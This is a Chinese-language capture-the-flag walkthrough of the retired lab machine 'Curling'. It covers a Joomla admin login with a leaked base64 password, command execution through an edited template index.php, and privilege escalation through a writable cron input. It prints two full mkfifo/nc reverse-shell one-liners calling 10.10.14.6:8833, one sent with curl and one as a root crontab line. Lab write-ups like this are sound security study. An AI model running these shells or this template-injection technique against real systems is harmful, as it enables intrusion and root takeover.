本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.150
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.150 -o ./Curling-autorecon
访问web应用
发现用户名Floris,看看网页源码
发现secret.txt关键信息,访问看看
看显示是base64编码了,解码得到Curling2018! 怀疑这可能是密码,登录前端的登录框
没啥鸟用,我们爆破目录看看是否有管理员后台
还发现后台地址是/administrator 我们访问并登录,通过在后台的模板处对index.php文件进行编辑,新增一行代码
然后正常访问测试
确认可以正常执行命令,我们反弹shell,这里就是curl命令进行操作,操作之前本地监听好端口
curl http://10.10.10.150/index.php -G --data-urlencode 'bmfx=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 8833 >/tmp/f'
关于具体的curl文档,可以参考:https://curl.se/docs/manpage.html
成功反弹shell,查找家目录user.txt发现没有权限读取文件,但是看到一个密码备份文件
上面是16进制文件通过xxd进行转换
cat password_backup | xxd -r > password_bak
到了上面一步本以为可以直接读取密码,但是还是需要经过解压缩转换各种压缩格式再解压最终得出了密码信息
直接su切换至用户floris
使用pspy工具列举当前哪些用户运行的进程,发现有一个计划任务一直在执行
确认了下刚好input文件是可以编辑的,那么我们构造一个反弹shell的计划任务执行即可,在本地kali如下操作
cp /etc/crontab . echo '* * * * * root rm /tmp/f1;mkfifo /tmp/f1;cat /tmp/f1|/bin/sh -i 2>&1|nc 10.10.14.6 8833 >/tmp/f1 ' >> crontab
搭建简易web下载到目标靶机,并本地监听反弹端口,配置input内容如下
下面是成功反弹shell